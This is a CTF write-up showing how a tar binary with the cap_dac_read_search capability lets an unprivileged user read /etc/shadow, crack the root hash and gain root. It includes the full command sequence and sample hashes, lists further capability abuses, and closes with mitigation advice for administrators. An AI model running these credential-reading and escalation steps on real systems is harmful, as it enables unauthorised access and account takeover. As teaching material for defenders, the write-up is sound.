Introduction
I recently came across an interesting way of escalating privileges on a GNU/Linux system during a CTF challenge. It involves file/process capabilities.
In Linux, files may be given specific capabilities. For example, if an executable needs to access (read) files that are only readable by root, it is possible to give that file this ‘permission’ without having it run with complete root privileges. This allows for a more secure system in general. For more info about this subject, click here.
getcap and setcap are used to view and set capabilities, respectively. They usually belong to the libcap2-bin package on debian and debian-based distributions.
Privilege Escalation
We would start by scanning the file system for files with capabilities using getcap -r /
The -r flag tells getcap to search recursively, ‘/‘ to indicate that we want to search the whole system.
The output is usually filled with tens or hundreds of “Operation not supported” errors, making it hard to read. We can redirect errors to /dev/null to get a cleaner output.
nxnjz@test-machine:~$ getcap -r / 2>/dev/null
/home/nxnjz/tar = cap_dac_read_search+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/mtr-packet = cap_net_raw+ep
An unusual finding: tar has cap_dac_read_search capabilities. This means it has read access to anything. We could use this to read SSH keys, or /etc/shadow and get password hashes.
/etc/shadow is usually only readable by root:
nxnjz@test-machine:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
But since tar has that capability, we can archive /etc/shadow, extract it from the archive and read it.
nxnjz@test-machine:~$ ls
tar
nxnjz@test-machine:~$ ./tar -cvf shadow.tar /etc/shadow
./tar: Removing leading `/’ from member names
/etc/shadow
nxnjz@test-machine:~$ ls
shadow.tar tar
nxnjz@test-machine:~$ ./tar -xvf shadow.tar
etc/shadow
nxnjz@test-machine:~$ ls
etc shadow.tar tar
nxnjz@test-machine:~$ cat etc/shadow
root:$1$xyz$Bf.3hZ4SmETM3A78n1nWr.:17735:0:99999:7:::
daemon:*:17729:0:99999:7:::
bin:*:17729:0:99999:7:::
sys:*:17729:0:99999:7:::
sync:*:17729:0:99999:7:::
games:*:17729:0:99999:7:::
man:*:17729:0:99999:7:::
lp:*:17729:0:99999:7:::
mail:*:17729:0:99999:7:::
news:*:17729:0:99999:7:::
uucp:*:17729:0:99999:7:::
proxy:*:17729:0:99999:7:::
nxnjz:$1$sTfA$SnnNO9Cflvs4aq4ZCU/6J/:17764:0:99999:7:::
After cracking that password hash for root, which turns out to be ‘root1234’, we can login using su:
nxnjz@test-machine:~$ su root
Password:
root@test-machine:/home/nxnjz# whoami
root
root@test-machine:/home/nxnjz#
Conclusion & Mitigation
This is simply an example of how capabilities can serve as a privilege escalation vector. Another very useful capability in a scenario like this would be cap_dac_override, which allows full read/write/execute access. This obviously could be used in various ways to escalate privileges, including but not limited to, adding a root user to /etc/passwd or /etc/shadow, modifying cron jobs running by root, adding a public ssh key to /root/authorized_keys, or simply opening a root shell.
Keep in mind that the presence of a potentially exploitable capability does not guarantee privilege escalation. You’re still limited by the functionality of the executable in question.
Besides, capabilities are rarely used in the wild. System administrators rarely set/change capabilities.
System Administrators should make sure that no abusable or exploitable capabilities are assigned on their file system. Capabilities are generally safer than SUID, but they may still pose a risk.